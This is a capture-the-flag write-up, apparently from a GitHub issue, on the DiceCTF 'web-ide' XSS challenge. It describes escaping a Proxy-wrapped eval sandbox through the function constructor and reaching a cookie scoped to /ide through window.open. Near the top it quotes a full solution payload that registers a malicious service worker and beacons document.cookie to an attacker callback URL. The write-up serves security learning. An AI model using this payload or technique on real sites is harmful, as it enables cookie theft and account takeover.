Open aszx87410 opened 3 years ago
Update:
The intended solution from author Ailuropoda Melanoleuca:
https://discord.com/channels/805956008665022475/808122408019165204/808143656946368512
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
"headers": {
"content-type": "application/javascript",
},
"body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',{headers:{\\'content-type\\':\\'text/html\\'}}));});",
"method": "POST",
"mode": "cors",
"credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>
Use service worker + navigator.sendBeacon, amazing
It's like a Web IDE, you can write code on the UI and see the result:
Source code is available:
The goal is to steal admin's cookie, so it's another XSS challenge!
First, we need to know how this web IDE works.
It's the ide html source code:
And
src/index.js
When user clicks "Run Code", it
postMessage
to the iframesandbox.html
, that's all.Then, we need to check sandbox.html:
src/sandbox.js
It listens to
window.message
event and pass the data tosafeEval
. It's wrapped in a Proxy so onlywindow.console
andwindow.eval
are available.We can see result at right side because it overrides
console.log
.The first thing we need to bypass is the window proxy.
From what I know, there are couple of ways to execute arbitrary js:
We can choose the one without accessing window:
function constructor
!We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.
Replace
alert(1)
withalert(document.cookie)
, we can see the cookie:Wait, where is the cookie?
I checked the source code again and found this:
The cookie has
path: /ide
but the path of sandbox.html is/
, so we can't get cookie from/sandbox.html
I have tried couple of ways but none of them work, like:
/sandbox.html
to/ide/..%2fsandbox.html
but script won't load/ide
but it fails because ofX-Frame-Options
/ide
and alert document.cookie againI also tried to google the keyword like:
get subpath cookie ctf
orget another path cookie
but still can't find any useful resource.Suddenly, I have an idea about
window.open
The return value of the
window.open
is the window of the new tab. So if we can access this window object, maybenewWindow.document.cookie
works?So I tried this:
To my surprise, it works!
I checked the mdn, it seems we can get window as long as it's same origin.
Combined with the function constructor, here is the final payload(I formatted it a bit for readability):
After host this file and send the link to admin bot, we can get the flag.